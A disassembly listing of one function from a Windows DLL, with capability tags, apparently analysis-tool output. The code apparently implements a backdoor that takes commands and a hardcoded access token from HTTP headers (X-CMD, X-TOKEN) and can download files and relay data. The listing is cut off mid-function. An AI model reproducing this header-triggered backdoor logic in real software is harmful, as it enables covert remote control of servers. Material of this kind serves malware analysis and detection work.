Function at 0x180002b10
Capabilities:
Connect socket
Convert ip address from string
Download and write a file
Get file size
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Resolve function by parsing pe exports
Send data
Send data on socket
Set socket configuration
Write file on windows

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x3160
call fcn.18001b470
sub rsp, rax
mov qword [rsp + 0x250], 0xfffffffffffffffe
mov qword [rsp + 0x3190], rbx
mov qword [rsp + 0x31a0], rsi
mov rax, qword [0x180057090]
xor rax, rsp
mov qword [rsp + 0x3150], rax
mov rbx, rdx
xor esi, esi
mov dword [rsp + 0x68], esi
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x20]
mov r14, rax
mov qword [rsp + 0x40], rax
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + 0x18]
mov rdi, rax
test rax, rax
je 0x180007a27
test r14, r14
je 0x180007a27
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x40]
mov rdx, rax
test rax, rax
je 0x180007a27
mov eax, esi
lea r9, [0x18004cd70]
nop dword [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r9 + rax - 1]
jne 0x180002bc9
cmp rax, 4
jne 0x180002bb0
cmp cl, byte [r9 + rax - 1]
mov r13d, esi
sete r13b
mov dword [rsp + 0x60], r13d
mov rax, rsi
lea r8, str.POST
mov r12d, 5
nop word [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x180002c08
cmp rax, r12
jne 0x180002bf0
cmp cl, byte [r8 + rax - 1]
mov eax, esi
sete al
mov dword [rsp + 0x50], eax
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_CMD
mov rcx, rdi
call qword [rax + 0x18]
mov rsi, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.X_TOKEN
mov rcx, rdi
call qword [r9 + 0x18]
mov rbx, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.HOST
mov rcx, rdi
call qword [r9 + 0x18]
mov r15, rax
test rax, rax
je 0x180007a27
mov qword [rsp + 0xb70], 0
mov qword [rsp + 0xb78], 0xf
mov byte [rsp + 0xb60], 0
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180002c82
mov rdx, r15
lea rcx, [rsp + 0xb60]
call fcn.180001d00
nop
mov qword [rsp + 0x1180], 0
mov qword [rsp + 0x1188], 0xf
mov byte [rsp + 0x1170], 0
or r8, 0xffffffffffffffff
inc r8
cmp byte [r15 + r8], 0
jne 0x180002cc1
mov rdx, r15
lea rcx, [rsp + 0x1170]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1170]
lea rcx, [rsp + 0xb20]
call fcn.1800154e0
nop
lea rcx, [rsp + 0x1170]
call fcn.180001c80
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FORWARDED_HOST
mov rcx, rdi
call qword [rax + 0x18]
mov r15, rax
test rax, rax
je 0x180002ed9
mov qword [rsp + 0x1160], 0
mov qword [rsp + 0x1168], 0xf
mov byte [rsp + 0x1150], 0
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180002d42
mov rdx, r15
lea rcx, [rsp + 0x1150]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1150]
lea rcx, [rsp + 0x1010]
call fcn.1800154e0
mov r13, rax
lea rax, [rsp + 0xb20]
cmp rax, r13
je 0x180002df1
mov r8, qword [rsp + 0xb38]
cmp r8, 8
jb 0x180002da8
inc r8
mov rdx, qword [rsp + 0xb20]
lea rcx, [rsp + 0xb20]
call fcn.18000a540
xor ecx, ecx
mov qword [rsp + 0xb30], rcx
mov qword [rsp + 0xb38], 7
mov word [rsp + 0xb20], cx
movups xmm0, xmmword [r13]
movups xmmword [rsp + 0xb20], xmm0
movups xmm1, xmmword [r13 + 0x10]
movups xmmword [rsp + 0xb30], xmm1
mov qword [r13 + 0x10], rcx
mov qword [r13 + 0x18], 7
mov word [r13], cx
mov r8, qword [rsp + 0x1028]
cmp r8, 8
jb 0x180002e17
inc r8
mov rdx, qword [rsp + 0x1010]
lea rcx, [rsp + 0x1010]
call fcn.18000a540
xor r13d, r13d
mov qword [rsp + 0x1020], r13
mov qword [rsp + 0x1028], 7
mov word [rsp + 0x1010], r13w
lea rcx, [rsp + 0x1150]
call fcn.180001c80
mov qword [rsp + 0xd60], r13
mov qword [rsp + 0xd68], 0xf
mov byte [rsp + 0xd50], r13b
or r8, 0xffffffffffffffff
inc r8
cmp byte [r15 + r8], 0
jne 0x180002e64
mov rdx, r15
lea rcx, [rsp + 0xd50]
call fcn.180001d00
lea rcx, [rsp + 0xb60]
call fcn.180001c80
movups xmm0, xmmword [rsp + 0xd50]
movups xmmword [rsp + 0xb60], xmm0
movups xmm1, xmmword [rsp + 0xd60]
movups xmmword [rsp + 0xb70], xmm1
mov qword [rsp + 0xd60], r13
mov qword [rsp + 0xd68], 0xf
mov byte [rsp + 0xd50], 0
lea rcx, [rsp + 0xd50]
call fcn.180001c80
mov r13d, dword [rsp + 0x60]
xor r15d, r15d
mov qword [rsp + 0xb50], r15
mov qword [rsp + 0xb58], 7
mov word [rsp + 0xb40], r15w
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FORWARDED_FOR
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je 0x180003035
mov qword [rsp + 0x1140], r15
mov qword [rsp + 0x1148], 0xf
mov byte [rsp + 0x1130], r15b
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180002f35
mov rdx, rax
lea rcx, [rsp + 0x1130]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1130]
lea rcx, [rsp + 0xe50]
call fcn.1800154e0
mov r15, rax
lea rax, [rsp + 0xb40]
cmp rax, r15
je 0x180002fe2
mov r8, qword [rsp + 0xb58]
cmp r8, 8
jb 0x180002f9b
inc r8
mov rdx, qword [rsp + 0xb40]
lea rcx, [rsp + 0xb40]
call fcn.18000a540
xor ecx, ecx
mov qword [rsp + 0xb50], rcx
mov qword [rsp + 0xb58], 7
mov word [rsp + 0xb40], cx
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0xb40], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rsp + 0xb50], xmm1
mov qword [r15 + 0x10], rcx
mov qword [r15 + 0x18], 7
mov word [r15], cx
mov r8, qword [rsp + 0xe68]
cmp r8, 8
jb 0x180003008
inc r8
mov rdx, qword [rsp + 0xe50]
lea rcx, [rsp + 0xe50]
call fcn.18000a540
xor r15d, r15d
mov qword [rsp + 0xe60], r15
mov qword [rsp + 0xe68], 7
mov word [rsp + 0xe50], r15w
lea rcx, [rsp + 0x1130]
jmp 0x18000312a
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x78]
mov rdx, rax
lea rcx, [rsp + 0x1d50]
call fcn.180012920
nop
mov rdx, rax
lea rcx, [rsp + 0xe70]
call fcn.1800154e0
mov r15, rax
lea rax, [rsp + 0xb40]
cmp rax, r15
je 0x1800030dc
mov r8, qword [rsp + 0xb58]
cmp r8, 8
jb 0x180003095
inc r8
mov rdx, qword [rsp + 0xb40]
lea rcx, [rsp + 0xb40]
call fcn.18000a540
xor ecx, ecx
mov qword [rsp + 0xb50], rcx
mov qword [rsp + 0xb58], 7
mov word [rsp + 0xb40], cx
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0xb40], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rsp + 0xb50], xmm1
mov qword [r15 + 0x10], rcx
mov qword [r15 + 0x18], 7
mov word [r15], cx
mov r8, qword [rsp + 0xe88]
cmp r8, 8
jb 0x180003102
inc r8
mov rdx, qword [rsp + 0xe70]
lea rcx, [rsp + 0xe70]
call fcn.18000a540
xor r15d, r15d
mov qword [rsp + 0xe80], r15
mov qword [rsp + 0xe88], 7
mov word [rsp + 0xe70], r15w
lea rcx, [rsp + 0x1d50]
call fcn.180001c80
test rbx, rbx
je 0x1800031cb
xor eax, eax
mov qword [rsp + 0x1100], rax
mov qword [rsp + 0x1108], 0xf
mov byte [rsp + 0x10f0], al
lea r8d, [rax + 0x10]
lea rdx, str.tn7rM2851XVvOFbc
lea rcx, [rsp + 0x10f0]
call fcn.180001d00
nop
lea rdx, [rsp + 0x10f0]
lea rcx, [rsp + 0x1cb0]
call fcn.180015350
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180003190
mov rdx, qword [rax]
sub rdx, rbx
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x1800031a5
inc rbx
test eax, eax
jne 0x180003193
xor ebx, ebx
mov r15d, ebx
test ecx, ecx
sete r15b
lea rcx, [rsp + 0x1cb0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x10f0]
call fcn.180001c80
test r13d, r13d
je 0x1800061a2
test rsi, rsi
jne 0x180004d4b
cmp byte [0x180057a18], sil
jne 0x180003273
mov r8, qword [rsp + 0xb58]
cmp r8, 8
jb 0x180003210
inc r8
mov rdx, qword [rsp + 0xb40]
lea rcx, [rsp + 0xb40]
call fcn.18000a540
mov word [rsp + 0xb40], bx
mov qword [rsp + 0xb58], 7
mov qword [rsp + 0xb50], rbx
mov r8, qword [rsp + 0xb38]
cmp r8, 8
jb 0x180003252
inc r8
mov rdx, qword [rsp + 0xb20]
lea rcx, [rsp + 0xb20]
call fcn.18000a540
mov qword [rsp + 0xb30], rbx
mov qword [rsp + 0xb38], 7
mov word [rsp + 0xb20], bx
jmp 0x180007a1a
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + htons]
mov rbx, qword [rax + 0x58]
test rbx, rbx
jne 0x1800032b2
mov r8, qword [rsp + 0xb58]
cmp r8, 8
jb 0x1800032ab
inc r8
mov rdx, qword [rsp + 0xb40]
lea rcx, [rsp + 0xb40]
call fcn.18000a540
xor ebx, ebx
jmp 0x180003210
xor ecx, ecx
call fcn.18002070c
cmp rax, qword [0x180059ae0]
jle 0x1800032f6
xor ecx, ecx
call fcn.18002070c
add rax, 0x3c
mov qword [0x180059ae0], rax
call fcn.180015b40
call fcn.180016060
lea rcx, [0x180059aa8]
call fcn.180008dc0
lea rcx, [0x180059ac0]
call fcn.180008dc0
xor eax, eax
mov qword [rsp + 0xbd0], rax
mov qword [rsp + 0xbd8], 7
mov word [rsp + 0xbc0], ax
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rbx + r8*2], ax
jne 0x180003320
mov rdx, rbx
lea rcx, [rsp + 0xbc0]
call fcn.180009b50
nop
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.User_Agent
mov rcx, rdi
call qword [rax + 0x18]
mov r13, rax
test rax, rax
je 0x180004d43
xor r12b, r12b
xor sil, sil
xor r15b, r15b
xor ebx, ebx
mov qword [rsp + 0xc90], rbx
mov qword [rsp + 0xc98], 0xf
mov byte [rsp + 0xc80], bl
or r8, 0xffffffffffffffff
inc r8
cmp byte [r8 + rax], bl
jne 0x180003384
mov rdx, r13
lea rcx, [rsp + 0xc80]
call fcn.180001d00
nop
mov qword [rsp + 0xc70], rbx
mov qword [rsp + 0xc78], 0xf
mov byte [rsp + 0xc60], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xc80]
lea rcx, [rsp + 0xc60]
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xc90]
test r8, r8
je 0x18000363b
lea r12, [rsp + 0xc60]
cmp qword [rsp + 0xc78], 0x10
cmovae r12, qword [rsp + 0xc60]
mov qword [rsp + 0x258], r12
lea rax, [rsp + 0xc80]
cmp qword [rsp + 0xc98], 0x10
cmovae rax, qword [rsp + 0xc80]
add rax, r8
mov qword [rsp + 0x290], rax
lea rsi, [rsp + 0xc80]
cmp qword [rsp + 0xc98], 0x10
cmovae rsi, qword [rsp + 0xc80]
mov qword [rsp + 0x288], rsi
mov r15, rax
sub r15, rsi
cmp rsi, rax
cmova r15, rbx
test r15, r15
je 0x180003478
movsx ecx, byte [rsi + rbx]
call fcn.1800208dc
mov byte [r12 + rbx], al
inc rbx
cmp rbx, r15
jne 0x180003463
mov rax, qword [0x180059af8]
mov rbx, qword [rax]
mov qword [rsp + 0x118], rax
cmp rbx, rax
je 0x180003555
nop dword [rax]
nop word [rax + rax]
lea r9, [rbx + 0x20]
lea rax, [r9 + 0x10]
cmp qword [r9 + 0x18], 0x10
jb 0x1800034b2
mov r9, qword [r9]
lea rcx, [rsp + 0xc60]
cmp qword [rsp + 0xc78], 0x10
cmovae rcx, qword [rsp + 0xc60]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0xc70]
call fcn.18000d490
cmp rax, 0xffffffffffffffff
jne 0x180003550
cmp byte [rbx + 0x19], 0
jne 0x180003536
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x180003511
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x180003536
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x180003503
jmp 0x180003536
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x180003533
nop dword [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x180003533
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180003520
mov rbx, rax
mov rax, qword [0x180059af8]
mov qword [rsp + 0x118], rax
cmp rbx, rax
jne 0x1800034a0
jmp 0x180003555
mov r12b, 1
jmp 0x180003558
xor r12b, r12b
mov rax, qword [0x180059b08]
mov rbx, qword [rax]
mov qword [rsp + 0x120], rax
cmp rbx, rax
je 0x180003635
nop dword [rax]
nop word [rax + rax]
lea r9, [rbx + 0x20]
lea rax, [r9 + 0x10]
cmp qword [r9 + 0x18], 0x10
jb 0x180003592
mov r9, qword [r9]
lea rcx, [rsp + 0xc60]
cmp qword [rsp + 0xc78], 0x10
cmovae rcx, qword [rsp + 0xc60]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0xc70]
call fcn.18000d490
cmp rax, 0xffffffffffffffff
jne 0x180003630
cmp byte [rbx + 0x19], 0
jne 0x180003616
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x1800035f1
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x180003616
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1800035e3
jmp 0x180003616
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x180003613
nop dword [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x180003613
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180003600
mov rbx, rax
mov rax, qword [0x180059b08]
mov qword [rsp + 0x120], rax
cmp rbx, rax
jne 0x180003580
jmp 0x180003635
mov sil, 1
jmp 0x180003638
xor sil, sil
xor r15b, r15b
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.Referer
mov rcx, rdi
call qword [rax + 0x18]
mov rbx, rax
xor edi, edi
mov qword [rsp + 0xb90], rdi
mov r8d, 7
mov qword [rsp + 0xb98], r8
mov word [rsp + 0xb80], di
test rax, rax
je 0x1800038d7
mov qword [rsp + 0x1120], rdi
mov qword [rsp + 0x1128], 0xf
mov byte [rsp + 0x1110], dil
or r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800036a0
mov rdx, rbx
lea rcx, [rsp + 0x1110]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1110]
lea rcx, [rsp + 0xe90]
call fcn.1800154e0
mov rdi, rax
lea rax, [rsp + 0xb80]
cmp rax, rdi
je 0x18000374a
mov r8, qword [rsp + 0xb98]
cmp r8, 8
jb 0x180003706
inc r8
mov rdx, qword [rsp + 0xb80]
lea rcx, [rsp + 0xb80]
call fcn.18000a540
xor ecx, ecx
mov qword [rsp + 0xb90], rcx
mov qword [rsp + 0xb98], 7
mov word [rsp + 0xb80], cx
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0xb80], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0xb90], xmm1
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], 7
mov word [rdi], cx
mov r8, qword [rsp + 0xea8]
cmp r8, 8
jb 0x180003770
inc r8
mov rdx, qword [rsp + 0xe90]
lea rcx, [rsp + 0xe90]
call fcn.18000a540
xor edi, edi
mov qword [rsp + 0xea0], rdi
mov qword [rsp + 0xea8], 7
mov word [rsp + 0xe90], di
lea rcx, [rsp + 0x1110]
call fcn.180001c80
mov qword [rsp + 0xd80], rdi
mov qword [rsp + 0xd88], 0xf
mov byte [rsp + 0xd70], dil
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1800037c0
mov rdx, rbx
lea rcx, [rsp + 0xd70]
call fcn.180001d00
mov rdx, qword [rsp + 0xd80]
test rdx, rdx
je 0x1800038c2
mov rax, qword [0x180059b18]
mov rbx, qword [rax]
mov qword [rsp + 0x128], rax
cmp rbx, rax
je 0x1800038c2
nop word [rax + rax]
lea r9, [rbx + 0x20]
lea rax, [r9 + 0x10]
cmp qword [r9 + 0x18], 0x10
jb 0x180003822
mov r9, qword [r9]
lea rcx, [rsp + 0xd70]
cmp qword [rsp + 0xd88], 0x10
cmovae rcx, qword [rsp + 0xd70]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
call fcn.18000d490
cmp rax, 0xffffffffffffffff
jne 0x1800038bf
cmp byte [rbx + 0x19], 0
jne 0x18000389e
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x18000387e
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x18000389e
nop dword [rax + rax]
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x180003870
jmp 0x18000389e
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x18000389b
cmp rbx, qword [rax + 0x10]
jne 0x18000389b
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180003888
mov rbx, rax
mov rax, qword [0x180059b18]
mov qword [rsp + 0x128], rax
cmp rbx, rax
je 0x1800038c2
mov rdx, qword [rsp + 0xd80]
jmp 0x180003810
mov r15b, 1
lea rcx, [rsp + 0xd70]
call fcn.180001c80
mov r8, qword [rsp + 0xb98]
test r12b, r12b
jne 0x1800038ee
test sil, sil
je 0x180004d3b
test r15b, r15b
je 0x180004d3b
mov qword [rsp + 0x10e0], rdi
mov qword [rsp + 0x10e8], 0xf
mov byte [rsp + 0x10d0], 0
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r8 + r13], 0
jne 0x180003910
mov rdx, r13
lea rcx, [rsp + 0x10d0]
call fcn.180001d00
nop
lea rdx, [rsp + 0x10d0]
lea rcx, [rsp + 0xc40]
call fcn.1800154e0
nop
lea rcx, [rsp + 0x10d0]
call fcn.180001c80
lea rdx, [rsp + 0x70]
call fcn.180008e20
nop
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
xor r13d, r13d
cmp rbx, rsi
je 0x180004ca0
nop
mov qword [rsp + 0xbf0], r13
mov qword [rsp + 0xbf8], 7
mov word [rsp + 0xbe0], r13w
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rbx
lea rcx, [rsp + 0xbe0]
call fcn.18000a5b0
nop
mov qword [rsp + 0xc30], r13
mov qword [rsp + 0xc38], 7
mov word [rsp + 0xc20], r13w
lea rdx, [rbx + 0x20]
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rcx, [rsp + 0xc20]
call fcn.18000a5b0
nop
lea r9, [rsp + 0xbe0]
mov r15, qword [rsp + 0xbe0]
mov rdi, qword [rsp + 0xbf8]
cmp rdi, 8
cmovae r9, r15
lea rcx, [rsp + 0xbc0]
cmp qword [rsp + 0xbd8], 8
cmovae rcx, qword [rsp + 0xbc0]
mov rax, qword [rsp + 0xbf0]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rsp + 0xbd0]
call fcn.18000d3b0
test rax, rax
je 0x180003ae1
mov r8, qword [rsp + 0xc38]
cmp r8, 8
jb 0x180003a71
inc r8
mov rdx, qword [rsp + 0xc20]
lea rcx, [rsp + 0xc20]
call fcn.18000a540
mov rdi, qword [rsp + 0xbf8]
mov r15, qword [rsp + 0xbe0]
mov qword [rsp + 0xc30], r13
mov qword [rsp + 0xc38], 7
mov word [rsp + 0xc20], r13w
cmp rdi, 8
jb 0x180003aa8
lea r8, [rdi + 1]
mov rdx, r15
lea rcx, [rsp + 0xbe0]
call fcn.18000a540
mov qword [rsp + 0xbf0], r13
mov qword [rsp + 0xbf8], 7
mov word [rsp + 0xbe0], r13w
add rbx, 0x40
cmp rbx, rsi
jne 0x180003970
mov rsi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
jmp 0x180004ca0
lea rdx, [rsp + 0xb20]
test r12b, r12b
je 0x180003ba3
lea rcx, [0x180059aa8]
call fcn.180008d10
lea rsi, [0x180059ab8]
mov qword [rsp + 0x40], rsi
mov rcx, rsi
test al, al
je 0x180003b76
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xb20]
lea rdx, [rsp + 0x50]
lea rcx, [0x180059aa8]
call fcn.18000df80
mov rdi, qword [rsp + 0x50]
mov rcx, rsi
call fcn.180019110
mov qword [rsp + 0x40], rsi
mov rcx, rsi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xb20]
lea rdx, [rsp + 0x50]
lea rcx, [0x180059aa8]
call fcn.18000df80
mov rbx, qword [rsp + 0x50]
jmp 0x180003c22
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xb20]
lea rdx, [rsp + 0x50]
lea rcx, [0x180059aa8]
call fcn.18000df80
mov rbx, qword [rsp + 0x50]
jmp 0x180003c5c
lea rcx, [0x180059ac0]
call fcn.180008d10
lea rsi, [0x180059ad0]
mov qword [rsp + 0x40], rsi
mov rcx, rsi
test al, al
je 0x180003c34
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xb20]
lea rdx, [rsp + 0x50]
lea rcx, [0x180059ac0]
call fcn.18000df80
mov rdi, qword [rsp + 0x50]
mov rcx, rsi
call fcn.180019110
mov qword [rsp + 0x40], rsi
mov rcx, rsi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xb20]
lea rdx, [rsp + 0x50]
lea rcx, [0x180059ac0]
call fcn.18000df80
mov rbx, qword [rsp + 0x50]
mov rcx, rsi
call fcn.180019110
mov eax, dword [rdi + 0x40]
inc eax
mov dword [rbx + 0x40], eax
jmp 0x180003c6b
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea r8, [rsp + 0xb20]
lea rdx, [rsp + 0x50]
lea rcx, [0x180059ac0]
call fcn.18000df80
mov rbx, qword [rsp + 0x50]
mov rcx, rsi
call fcn.180019110
mov dword [rbx + 0x40], 1
mov qword [rsp + 0xbb0], r13
mov qword [rsp + 0xbb8], 0xf
mov byte [rsp + 0xba0], 0
cmp dword [0x180059a08], 0
jle 0x180004452
xor ecx, ecx
call fcn.18002070c
cmp rax, qword [0x180059ad8]
jle 0x180003f3a
xor ecx, ecx
call fcn.18002070c
movsxd rcx, dword [0x180059a08]
add rcx, rax
mov qword [0x180059ad8], rcx
call fcn.180008c40
lea r8, [rsp + 0xbc0]
lea rdx, [rsp + 0xc20]
lea rcx, [rsp + 0xeb0]
call fcn.18000cdf0
nop
mov dword [rsp + 0x30], 3
lea rcx, [rsp + 0xb80]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0xb40]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xb20]
lea r8, [rsp + 0xc40]
mov rdx, rax
lea rcx, [rsp + 0x1c50]
call fcn.1800117b0
mov rbx, rax
lea rax, [rsp + 0xba0]
cmp rax, rbx
je 0x180003d68
lea rcx, [rsp + 0xba0]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0xba0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0xbb0], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], 0
lea rcx, [rsp + 0x1c50]
call fcn.180001c80
nop
mov r8, qword [rsp + 0xec8]
cmp r8, 8
jb 0x180003d9c
inc r8
mov rdx, qword [rsp + 0xeb0]
lea rcx, [rsp + 0xeb0]
call fcn.18000a540
mov qword [rsp + 0xec0], r13
mov qword [rsp + 0xec8], 7
mov word [rsp + 0xeb0], r13w
cmp qword [rsp + 0xbb0], 0
je 0x1800046c0
test r12b, r12b
je 0x180003e64
lea r8, [rsp + 0xbe0]
lea rdx, [rsp + 0xb20]
lea rcx, [rsp + 0xed0]
call fcn.18000cdf0
nop
mov rdx, rax
call fcn.180008cb0
lea rcx, [rsp + 0xba0]
cmp rax, rcx
je 0x180003e1c
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xba0]
mov rcx, rax
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xee8]
cmp r8, 8
jb 0x180003e42
inc r8
mov rdx, qword [rsp + 0xed0]
lea rcx, [rsp + 0xed0]
call fcn.18000a540
mov qword [rsp + 0xee0], r13
mov qword [rsp + 0xee8], 7
mov word [rsp + 0xed0], r13w
jmp 0x1800046af
mov qword [rsp + 0xcd0], r13
mov qword [rsp + 0xcd8], 7
mov word [rsp + 0xcc0], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0xcc0]
call fcn.180009b50
nop
lea rbx, [0x180059aa0]
mov qword [rsp + 0x40], rbx
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea rdx, [rsp + 0xcc0]
call fcn.180009790
mov rdi, rax
mov rcx, rbx
call fcn.180019110
lea rax, [rsp + 0xba0]
cmp rdi, rax
je 0x180003ef2
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0xba0]
mov rcx, rdi
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xcd8]
cmp r8, 8
jb 0x180003f18
inc r8
mov rdx, qword [rsp + 0xcc0]
lea rcx, [rsp + 0xcc0]
call fcn.18000a540
mov qword [rsp + 0xcd0], r13
mov qword [rsp + 0xcd8], 7
mov word [rsp + 0xcc0], r13w
jmp 0x1800046af
test r12b, r12b
je 0x180003f73
lea r8, [rsp + 0xbe0]
lea rdx, [rsp + 0xb20]
lea rcx, [rsp + 0xef0]
call fcn.18000cdf0
mov edi, 1
mov rdx, rax
call fcn.180008b90
test al, al
je 0x180003f77
movzx ebx, dil
jmp 0x180003f79
mov edi, dword [rsp + 0x68]
xor bl, bl
test dil, 1
je 0x180003fc5
and edi, 0xfffffffe
mov r8, qword [rsp + 0xf08]
cmp r8, 8
jb 0x180003fa8
inc r8
mov rdx, qword [rsp + 0xef0]
lea rcx, [rsp + 0xef0]
call fcn.18000a540
mov qword [rsp + 0xf00], r13
mov qword [rsp + 0xf08], 7
mov word [rsp + 0xef0], r13w
test bl, bl
je 0x180004060
lea r8, [rsp + 0xbe0]
lea rdx, [rsp + 0xb20]
lea rcx, [rsp + 0xf10]
call fcn.18000cdf0
nop
mov rdx, rax
call fcn.180008cb0
lea rcx, [rsp + 0xba0]
cmp rcx, rax
je 0x180004018
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0xba0]
call fcn.180001fd0
nop
mov r8, qword [rsp + 0xf28]
cmp r8, 8
jb 0x18000403e
inc r8
mov rdx, qword [rsp + 0xf10]
lea rcx, [rsp + 0xf10]
call fcn.18000a540
mov qword [rsp + 0xf20], r13
mov qword [rsp + 0xf28], 7
mov word [rsp + 0xf10], r13w
jmp 0x1800046af
test r12b, r12b
jne 0x1800040b4
mov qword [rsp + 0xcb0], r13
mov qword [rsp + 0xcb8], 7
mov word [rsp + 0xca0], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0xca0]
call fcn.180009b50
or edi, 2
lea rdx, [rsp + 0xca0]
call fcn.180008b90
test al, al
je 0x1800040b4
mov bl, 1
jmp 0x1800040b6
xor bl, bl
test dil, 2
je 0x1800040ff
mov r8, qword [rsp + 0xcb8]
cmp r8, 8
jb 0x1800040e2
inc r8
mov rdx, qword [rsp + 0xca0]
lea rcx, [rsp + 0xca0]
call fcn.18000a540
mov qword [rsp + 0xcb0], r13
mov qword [rsp + 0xcb8], 7
mov word [rsp + 0xca0], r13w
test bl, bl
je 0x1800041dd
mov qword [rsp + 0xcf0], r13
mov qword [rsp + 0xcf8], 7
mov word [rsp + 0xce0], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0xce0]
call fcn.180009b50
nop
lea rbx, [0x180059aa0]
mov qword [rsp + 0x40], rbx
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x48], 1
lea rdx, [rsp + 0xce0]
call fcn.180009790
mov rdi, rax
